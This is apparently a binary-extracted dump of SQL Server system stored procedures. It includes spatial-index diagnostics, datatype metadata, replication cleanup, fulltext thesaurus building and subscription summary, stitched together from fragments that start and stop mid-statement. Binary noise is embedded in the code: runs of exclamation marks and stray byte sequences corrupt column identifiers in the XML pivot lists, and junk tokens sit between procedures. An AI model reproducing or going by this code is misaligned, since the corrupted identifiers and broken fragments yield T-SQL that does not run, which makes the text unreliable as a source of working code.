			100.0/CONVERT(FLOAT, size)
		FROM @gridsizes
		WHERE level = 1
		UNION ALL
		SELECT level+1,
			CONVERT(NVARCHAR(100), (N'CellArea_To_BoundingBoxArea_Percentage_In_Level'+CONVERT(NVARCHAR(10), level-1))), 
			cell_area_percent_of_bb/CONVERT(FLOAT, g.size)
		FROM @gridsizes g inner join ComputeCellArea c
		ON g.level = c.depth
	)
	INSERT INTO @results
	SELECT proplabel,  cell_area_percent_of_bb, 1
	FROM ComputeCellArea where depth <> 2
	OPTION (MAXRECURSION 9);
	
	IF (@internaltabname is not null)
	BEGIN
		SET @execstr = N'
		WITH PrimaryFilter(pk0, cell_attr)
		AS
		(
			SELECT pk0, max(i.attr+c.attr)
			FROM ' + @internaltabname +N' i join
			#temp_window_object_tessellation_candidates c ON i.id  >= c.cell_id and i.id <= c.cell_id_end
			group by pk0
		)
		SELECT ''Number_Of_Rows_Selected_By_Primary_Filter'', 
			count(*),
			0 
			FROM PrimaryFilter
		UNION ALL
		SELECT ''Number_Of_Rows_Selected_By_Internal_Filter'',
			count(CASE WHEN (cell_attr>=3) THEN 3 ELSE null END),
			0
			FROM PrimaryFilter
		UNION ALL 
		SELECT ''Number_Of_Times_Secondary_Filter_Is_Called'', 
			count(CASE WHEN (cell_attr<=2) THEN 2 ELSE null END),
			0
			FROM PrimaryFilter ';
		IF (@results_card is not null)
		BEGIN
			SET @execstr = @execstr +
			N'
			UNION ALL
			SELECT ''Number_Of_Rows_Output'', CONVERT(BIGINT, ' + CONVERT(NVARCHAR(20), @results_card) + '), 
			0';
		END

		SET @execstr = @execstr + N' OPTION (RECOMPILE)';

		INSERT INTO @results EXEC (@execstr);

		DECLARE @primary_filter_rows float;
		DECLARE @internal_filter_rows float;

		SELECT @primary_filter_rows = CONVERT(float, propvalue) FROM @results where propname = 'Number_Of_Rows_Selected_By_Primary_Filter';
		SELECT @internal_filter_rows = CONVERT(float, propvalue) FROM @results where propname = 'Number_Of_Rows_Selected_By_Internal_Filter';
		
		INSERT INTO @results 
			(propname, propvalue, verbose)
		VALUES
			('Percentage_Of_Rows_NotSelected_By_Primary_Filter', ((@base_table_rows - @primary_filter_rows) / @base_table_rows) * 100.0, 0);
		
		INSERT INTO @results 
			(propname, propvalue, verbose)
		VALUES
			('Percentage_Of_Primary_Filter_Rows_Selected_By_Internal_Filter', (@internal_filter_rows/ @primary_filter_rows) * 100.0, 0);
		
		IF (@results_card is not null)
		BEGIN
			INSERT INTO @results 
				(propname, propvalue, verbose)
			VALUES
				('Internal_Filter_Efficiency', (@internal_filter_rows / @results_card) * 100.0, 0);

			INSERT INTO @results 
				(propname, propvalue, verbose)
			VALUES
				('Primary_Filter_Efficiency', (@results_card / @primary_filter_rows) * 100.0, 0);
		END
	END

	IF @do_output_xml = 0
	BEGIN
			SELECT propname, isnull(propvalue, 0.0) propvalue FROM @results WHERE verbose <= @verboseoutput
	END
	ELSE
	BEGIN
		SELECT @xml_output = 
		(
			SELECT 
				Base_Table_Rows,
				Bounding_Box_xmin,
				Bounding_Box_ymin,
				Bounding_Box_xmax,
				Bounding_Box_ymax,
				Grid_Size_Level_1,
				Grid_Size_Level_2,
				Grid_Size_Level_3,
				Grid_Size_Level_4,
				Grid_Size_Level_5,
				Grid_Size_Level_6,
				Grid_Size_Level_7,
				Grid_Size_Level_8,
				Cells_Per_Object,
				Total_Primary_Index_Rows,
				Total_Primary_Index_Pages,
				Average_Number_Of_Index_Rows_Per_Base_Row,
				Total_Number_Of_ObjectCells_In_Level0_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level0_In_Index,
				Total_Number_Of_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_ObjectCells_In_Level5_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level5_In_Index,
				Total_Number_Of_ObjectCells_In_Level6_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level6_In_Index,
				Total_Number_Of_ObjectCells_In_Level7_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level7_In_Index,
				Total_Number_Of_ObjectCells_In_Level8_For_QuerySample,
				Total_Number_Of_ObjectCells_In_Level8_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level5_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level5_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level6_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level6_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level7_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level7_In_Index,
				Total_Number_Of_Interior_ObjectCells_In_Level8_For_QuerySample,
				Total_Number_Of_Interior_ObjectCells_In_Level8_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level1_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level5_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level5_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level6_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level6_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level7_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level7_In_Index,
				Total_Number_Of_Intersecting_ObjectCells_In_Level8_For_QuerySample,
				Total_Number_Of_Intersecting_ObjectCells_In_Level8_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level0_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level0_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level1_F!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($/bvw)or_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level1_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level2_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level2_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level3_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level3_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level4_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level4_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level5_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level5_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level6_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level6_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level7_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level7_In_Index,
				Total_Number_Of_Border_ObjectCells_In_Level8_For_QuerySample,
				Total_Number_Of_Border_ObjectCells_In_Level8_In_Index,
				Interior_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage,
				Intersecting_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage,
				Border_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage,
				Average_Cells_Per_Object_Normalized_To_Leaf_Grid,
				Average_Objects_PerLeaf_GridCell,
				Number_Of_SRIDs_Found,
				Width_Of_Cell_In_Level1,
				Width_Of_Cell_In_Level2,
				Width_Of_Cell_In_Level3,
				Width_Of_Cell_In_Level4,
				Width_Of_Cell_In_Level5,
				Width_Of_Cell_In_Level6,
				Width_Of_Cell_In_Level7,
				Width_Of_Cell_In_Level8,
				Height_Of_Cell_In_Level1,
				Height_Of_Cell_In_Level2,
				Height_Of_Cell_In_Level3,
				Height_Of_Cell_In_Level4,
				Height_Of_Cell_In_Level5,
				Height_Of_Cell_In_Level6,
				Height_Of_Cell_In_Level7,
				Height_Of_Cell_In_Level8,
				Area_Of_Cell_In_Level1,
				Area_Of_Cell_In_Level2,
				Area_Of_Cell_In_Level3,
				Area_Of_Cell_In_Level4,
				Area_Of_Cell_In_Level5,
				Area_Of_Cell_In_Level6,
				Area_Of_Cell_In_Level7,
				Area_Of_Cell_In_Level8,
				CellArea_To_BoundingBoxArea_Percentage_In_Level1,
				CellArea_To_BoundingBoxArea_Percentage_In_Level2,
				CellArea_To_BoundingBoxArea_Percentage_In_Level3,
				CellArea_To_BoundingBoxArea_Percentage_In_Level4,
				CellArea_To_BoundingBoxArea_Percentage_In_Level5,
				CellArea_To_BoundingBoxArea_Percentage_In_Level6,
				CellArea_To_BoundingBoxArea_Percentage_In_Level7,
				CellArea_To_BoundingBoxArea_Percentage_In_Level8,
				Number_Of_Rows_Selected_By_Primary_Filter,
				Number_Of_Rows_Selected_By_Internal_Filter,
				Number_Of_Times_Secondary_Filter_Is_Called,
				Number_Of_Rows_Output,
				Percentage_Of_Rows_NotSelected_By_Primary_Filter,
				Percentage_Of_Primary_Filter_Rows_Selected_By_Internal_Filter,
				Internal_Filter_Efficiency,
				Primary_Filter_Efficiency
			FROM 
				(SELECT propname, isnull(propvalue, 0.0) as propvalue FROM @results WHERE verbose <= @verboseoutput) p
			pivot
			(
				MAX(propvalue)
				FOR propname in
				(
					[Base_Table_Rows],
					[Bounding_Box_xmin],
					[Bounding_Box_ymin],
					[Bounding_Box_xmax],
					[Bounding_Box_ymax],
					[Grid_Size_Level_1],
					[Grid_Size_Level_2],
					[Grid_Size_Level_3],
					[Grid_Size_Level_4],
					[Grid_Size_Level_5],
					[Grid_Size_Level_6],
					[Grid_Size_Level_7],
					[Grid_Size_Level_8],
					[Cells_Per_Object],
					[Total_Primary_Index_Rows],
					[Total_Primary_Index_Pages],
					[Average_Number_Of_Index_Rows_Per_Base_Row],
					[Total_Number_Of_ObjectCells_In_Level0_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level0_In_Index],
					[Total_Number_Of_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_ObjectCells_In_Level5_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level5_In_Index],
					[Total_Number_Of_ObjectCells_In_Level6_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level6_In_Index],
					[Total_Number_Of_ObjectCells_In_Level7_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level7_In_Index],
					[Total_Number_Of_ObjectCells_In_Level8_For_QuerySample],
					[Total_Number_Of_ObjectCells_In_Level8_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level5_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level5_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level6_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level6_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level7_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level7_In_Index],
					[Total_Number_Of_Interior_ObjectCells_In_Level8_For_QuerySample],
					[Total_Number_Of_Interior_ObjectCells_In_Level8_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level5_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level5_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level6_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level6_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level7_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level7_In_Index],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level8_For_QuerySample],
					[Total_Number_Of_Intersecting_ObjectCells_In_Level8_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level0_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level0_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level1_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level1_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level2_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level2_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level3_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level3_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level4_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level4_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level5_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level5_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level6_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level6_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level7_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level7_In_Index],
					[Total_Number_Of_Border_ObjectCells_In_Level8_For_QuerySample],
					[Total_Number_Of_Border_ObjectCells_In_Level8_In_Index],
					[Interior_To_Total_Cells_Nor!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<]9,(w)malized_To_Leaf_Grid_Percentage],
					[Intersecting_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage],
					[Border_To_Total_Cells_Normalized_To_Leaf_Grid_Percentage],
					[Average_Cells_Per_Object_Normalized_To_Leaf_Grid],
					[Average_Objects_PerLeaf_GridCell],
					[Number_Of_SRIDs_Found],
					[Width_Of_Cell_In_Level1],
					[Width_Of_Cell_In_Level2],
					[Width_Of_Cell_In_Level3],
					[Width_Of_Cell_In_Level4],
					[Width_Of_Cell_In_Level5],
					[Width_Of_Cell_In_Level6],
					[Width_Of_Cell_In_Level7],
					[Width_Of_Cell_In_Level8],
					[Height_Of_Cell_In_Level1],
					[Height_Of_Cell_In_Level2],
					[Height_Of_Cell_In_Level3],
					[Height_Of_Cell_In_Level4],
					[Height_Of_Cell_In_Level5],
					[Height_Of_Cell_In_Level6],
					[Height_Of_Cell_In_Level7],
					[Height_Of_Cell_In_Level8],
					[Area_Of_Cell_In_Level1],
					[Area_Of_Cell_In_Level2],
					[Area_Of_Cell_In_Level3],
					[Area_Of_Cell_In_Level4],
					[Area_Of_Cell_In_Level5],
					[Area_Of_Cell_In_Level6],
					[Area_Of_Cell_In_Level7],
					[Area_Of_Cell_In_Level8],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level1],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level2],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level3],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level4],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level5],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level6],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level7],
					[CellArea_To_BoundingBoxArea_Percentage_In_Level8],
					[Number_Of_Rows_Selected_By_Primary_Filter],
					[Number_Of_Rows_Selected_By_Internal_Filter],
					[Number_Of_Times_Secondary_Filter_Is_Called],
					[Number_Of_Rows_Output],
					[Percentage_Of_Rows_NotSelected_By_Primary_Filter],
					[Percentage_Of_Primary_Filter_Rows_Selected_By_Internal_Filter],
					[Internal_Filter_Efficiency],
					[Primary_Filter_Efficiency]
				)
			) AS pvt
			for XML PATH(''), TYPE
		)
	END
END
@_
@_nd d.AUTO_INCREMENT = 1) or (d.ss_dtype in (98, 104))
                                          then 0 -- DECIMAL/NUMERIC IDENTITY/SQL_VARIANT/BIT
                                        when d.ss_dtype in (40,41,42,43)
                                          then null -- DATE/TIME2/DATETIME2/DATETIMEOFFSET
                                        else TypeProperty (t.name, 'Scale')
                                      end),
        SQL_DATA_TYPE       = d.SQL_DATA_TYPE,
        SQL_DATA_TYPE_90    = convert(smallint,
                                      case
                                        when d.ss_dtype in (40,41,42,43) -- DATE/TIME2/DATETIME2/DATETIMEOFFSET
                                          then  -9  -- SQL_WVARCHAR
                                        else
                                          d.SQL_DATA_TYPE
                                      end),
        SQL_DATA_TYPE_28    = convert(smallint, -- backward-compatible ODBC types
                                      case
                                        when (d.ss_dtype = 241) then -- XML
                                          -10
                                        when d.ss_dtype in (40, 41, 42, 43)
                                          then  -9  -- SQL_WVARCHAR -- DATE/TIME2/DATETIME2/DATETIMEOFFSET
                                        else
                                          d.SQL_DATA_TYPE
                                      end),
        SQL_DATETIME_SUB    = d.SQL_DATETIME_SUB,
        SQL_DATETIME_SUB_90 = convert(smallint,
                                      case
                                        when d.ss_dtype in (40,41,42,43)
                                          then null -- DATE/TIME2/DATETIME2/DATETIMEOFFSET
                                        else
                                          d.SQL_DATETIME_SUB
                                      end),
        NUM_PREC_RADIX      = convert(int,d.RADIX),
        INTERVAL_PRECISION  = convert(smallint,NULL),
        USERTYPE            = convert(smallint, typeproperty(t.name, 'oldusertype')),
        MAPPED_TYPE         = convert(smallint,
                                      case
                                        when d.ss_dtype in (40,41,42,43) -- DATE/TIME2/DATETIME2/DATETIMEOFFSET
                                         then  1
                                        else
                                               0
                                       end)
    from
        sys.spt_datatype_info d inner join
        sys.types t on
            (
                -- We have to return all system types and SQL UDTs (as Shiloh does),
                -- but no CLR UDTs.
                d.ss_dtype = t.system_type_id and
                (
                    d.ss_usertype = t.user_type_id or -- system UDTs & regular types
                    (
                        t.system_type_id <> 240 and t.user_type_id > 255 and -- SQL UDTs
                        d.ss_dtype <> 240       and d.ss_usertype = d.ss_dtype
                    )
                )
            )
        left outer join
        sys.spt_datatype_info_ext e on
            (
                t.user_type_id = e.user_type and
                d.AUTO_INCREMENT = e.AUTO_INCREMENT
            )
    where
        (t.user_type_id <= 255 or d.AUTO_INCREMENT = 0) and
        d.DATA_TYPE <> -153 -- exclude table types
<jF<j   if object_id(N'sys.sp_MSrepl_setNFR', 'P') is not null
    	drop procedure sys.sp_MSrepl_setNFR

	if object_id(N'sys.sp_refresh_heterogeneous_publisher', 'P') is not null
		drop procedure sys.sp_refresh_heterogeneous_publisher

	if object_id(N'sys.sp_MSrepl_refresh_heterogeneous_publisher', 'P') is not null
		drop procedure sys.sp_MSrepl_refresh_heterogeneous_publisher

    if object_id(N'sys.sp_MSgettransarticlecolumnlist', 'P') is not null
        drop procedure sys.sp_MSgettransarticlecolumnlist

    if object_id(N'sys.sp_MSdrop_synctran_objects', 'P') is not null
        drop procedure sys.sp_MSdrop_synctran_objects

    if object_id(N'sys.sp_MSissnapshotagentrunning', 'P') is not null
        drop procedure sys.sp_MSissnapshotagentrunning

	if object_id(N'sys.sp_replrethrow', 'P') is not null
		drop procedure sys.sp_replrethrow

	if object_id('sys.fn_replvarbintoint',  'FN') is not null
		drop function sys.fn_replvarbintoint

    if object_id('sys.sp_MScheckprocexec', 'P') is not null
        drop procedure sys.sp_MScheckprocexec
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T`><"K0i 8CREATE PROCEDURE sys.sp_fulltext_thesaurus_update
          @lcid int
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @phraseid int,
            @parentstateid int,
            @root int,
            @wordStart int,
            @wordLength int,
            @tmpphraseid int,
            @word varbinary(132),
            @wbterms varbinary(2048),
            @phraseLength int,
            @createNewState bit,
            @newStateCreated bit,
            @stateid int,
            @duplicateThesaurusRule bit

    -- delete existing entries from state table for this lcid, but dont delete the root node for this lcid as an optimization, if it exists 
    -- (root for an lcid is identified by parentid=0)
    -- 
    DELETE tempdb.sys.fulltext_thesaurus_state_table 
    WHERE lcid=@lcid AND parentid != 0

    SELECT @stateid = 2

    -- Add root node if it doesnt exist already and get its stateid
    --
    EXEC @root = sys.sp_fulltext_thesaurus_add_root
                @lcid = @lcid

    -- Iterate through all the phrases for this lcid, word break them and create states for each term in the state table
    --
    DECLARE phrase_cursor CURSOR LOCAL
        FOR SELECT phraseid, terms
            FROM tempdb.sys.fulltext_thesaurus_phrase_table
            WHERE lcid = @lcid AND
                  ((isExpansion=1) OR (isLHSOfReplacement = 1))

    OPEN phrase_cursor

    FETCH NEXT FROM phrase_cursor
        INTO @phraseid, @wbterms

    WHILE ( @@FETCH_STATUS = 0 )
    BEGIN
        SELECT @parentstateid = @root, @phraseLength=DATALENGTH(@wbterms), @wordStart=1, @wordLength=0, @tmpphraseid=NULL, @createNewState=0, @duplicateThesaurusRule=0

        IF (@phraseLength != 0)
        BEGIN

            WHILE (@wordStart < @phraseLength)
            BEGIN
                SELECT @wordLength = CONVERT(int, SUBSTRING(@wbterms, @wordStart, 1))
                IF ((@wordLength > 128) OR (@wordLength = 0) OR (@wordStart + @wordLength > @phraseLength))
                BEGIN
                    -- Unable to complete the requested operation because of either a catastrophic media failure or a data structure corruption on the disk.
                    -- ERROR_INTERNAL_DB_CORRUPTION
                   RAISERROR(30049, 16, 1, 0x8007054E)
                END

                SELECT @word=SUBSTRING(@wbterms, @wordStart+1, @wordLength)

                IF (@wordStart + @wordLength = @phraseLength)
                BEGIN
                    SET @tmpphraseid = @phraseid
                END          

                EXEC @parentstateid = sys.sp_fulltext_thesaurus_add_term
                            @createNewState = @createNewState,
                            @newstateid = @stateid,
                            @parentid = @parentstateid,
                            @phraseIdOrNull = @tmpphraseid, 
                            @term = @word,
                            @lcid = @lcid,
                            @newStateCreated = @newStateCreated output,
                            @duplicateThesaurusRule = @duplicateThesaurusRule output
                IF (@newStateCreated = 1)
                BEGIN
                    SET @stateid = @stateid + 1
                END
                
                SET @createNewState = @newStateCreated
                SET @wordStart = @wordStart + @wordLength + 1
            END

        END

        -- If we encountered a duplicate thesaurus LHS rule, then we have an ambiguity. In such cases we choose
        -- the first one and ignore the latter ones, instead of failing the thesaurus load.
        -- Print an informational message to the client for each duplicate term encountered
        --
        IF (@duplicateThesaurusRule=1)
        BEGIN
            DECLARE @originalTerm nvarchar(512)

            SELECT @wordStart=1
            WHILE (@wordStart < @phraseLength)
            BEGIN
                SELECT @wordLength = CONVERT(int, SUBSTRING(@wbterms, @wordStart, 1))
                SELECT @word=SUBSTRING(@wbterms, @wordStart+1, @wordLength)
                if (@wordStart = 1)
                BEGIN
                    SELECT @originalTerm = fulltext_display_term(@word)
                END
                ELSE
                BEGIN
                    SELECT @originalTerm = @originalTerm + N' ' + fulltext_display_term(@word)
                END

                SELECT @wordStart = @wordStart + @wordLength + 1
            END

            -- duplicate thesaurus phrase informational message
            --
            RAISERROR(30048, -1, -1, @originalTerm, @lcid)
        END

        FETCH NEXT FROM phrase_cursor
            INTO @phraseid, @wbterms
    END

    -- This is a local cursor hence if there is an error thrown from above the cursor will be closed 
    -- and deallocated implicitly
    --
    CLOSE phrase_cursor
    DEALLOCATE phrase_cursor
END
0n@ 58
CREATE PROCEDURE sys.sp_subscriptionsummary
(
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @publisher      sysname = NULL
)
AS
BEGIN
    DECLARE @cmd            nvarchar(4000),
            @retcode        int,
            @publisher_type sysname

    SET @retcode = 0
   
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo @publisher       = @publisher,
                                                   @rpcheader       = @cmd OUTPUT,
                                                   @publisher_type  = @publisher_type OUTPUT
    IF @retcode <> 0
    BEGIN
        RETURN (@retcode)
    END

    SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    SET @cmd = @cmd  + N'sys.sp_MSrepl_subscriptionsummary'
    
    EXEC @retcode = @cmd
            @publication = @publication,
            @subscriber = @subscriber,
            @subscriber_db = @subscriber_db,
            @publisher = @publisher,
            @publisher_type = @publisher_type

END
_id(@table_name, 'local')
		if @objid is null
		begin
			raiserror(15009,-1,-1 ,@table_name, @curdbname)
			return 1
		end
		--	(2) Must be a user table or indexed view (and not a temp table)
		if (ObjectProperty(@objid, 'IsUserTable') = 0 AND (ObjectProperty(@objid, 'IsView') = 0 OR ObjectProperty(@objid, 'IsIndexed') = 0 )) OR 
		    substring(parsename(@table_name,1),1,1) = '#'
		begin
			raiserror(15218,-1,-1 ,@table_name)
			return 1
		end
	end

	-- We are using schema owner as table owner now. Check with garish for their decision on using schema owner 
	-- in place of table owner for backward compatibility issue. 
	set @cursor_return =	CURSOR LOCAL SCROLL STATIC FOR
		select  ssche.name as TABLE_OWNER,
			sobj.name as TABLE_NAME,
			sidx.name as FULLTEXT_KEY_INDEX_NAME,
			sidxcol.column_id as FULLTEXT_KEY_COLID,
			sftidx.is_enabled as FULLTEXT_INDEX_ACTIVE,
			scat.name as FULLTEXT_CATALOG_NAME
